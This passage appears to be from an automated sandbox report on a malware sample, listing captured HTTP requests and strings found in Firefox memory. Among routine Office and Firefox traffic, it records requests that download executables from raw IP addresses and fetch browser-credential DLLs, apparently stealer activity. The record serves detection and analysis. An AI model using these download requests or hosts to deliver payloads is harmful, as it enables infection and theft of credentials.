Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive

Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://pubads.g.doubleclick.net/gampad/ad*://securepubads.g.doubleclick.net/gampad/ad://www.facebook.com/platform/impression.php://.adsafeprotected.com//Serving/*://.adsafeprotected.com//imp/DownloadCopySaver.fromSerializable/< equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://static.chartbeat.com/js/chartbeat_video.js://connect.facebook.net//all.js://www.google-analytics.com/gtm/js://connect.facebook.net//sdk.js*://web-assets.toggl.com/app/assets/scripts/.js://www.googletagmanager.com/gtm.js*://www.google-analytics.com/plugins/ua/ec.jsstate.multichoice.allowForSession equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002C.00000002.3294994349.000001C4CE43C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002C.00000002.3318362025.000001C4D10F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3318362025.000001C4D10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002C.00000002.3338943234.000001C4D259C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002C.00000002.3318362025.000001C4D10F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3318362025.000001C4D10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002C.00000002.3338943234.000001C4D259C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @mozilla.org/intl/converter-input-stream;1@mozilla.org/scriptableinputstream;1https://mail.yahoo.co.jp/compose/?To=%sNon-zero amount of bytes must be specifiedMust have a source and a callbackhttps://poczta.interia.pl/mh/?mailto=%sSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLFirst argument should be an nsIInputStreamhttp://poczta.interia.pl/mh/?mailto=%s@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/JSONFile.sys.mjshttp://www.inbox.lv/rfc2368/?value=%s_finalizeInternal/this._finalizePromise<@mozilla.org/uriloader/local-handler-app;1resource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/async-stream-copier;1https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%shttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/web-handler-app;1_updateMessageProviders/providerIDs< equals www.yahoo.com (Yahoo)
Source: firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE25C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE25C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D29D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", 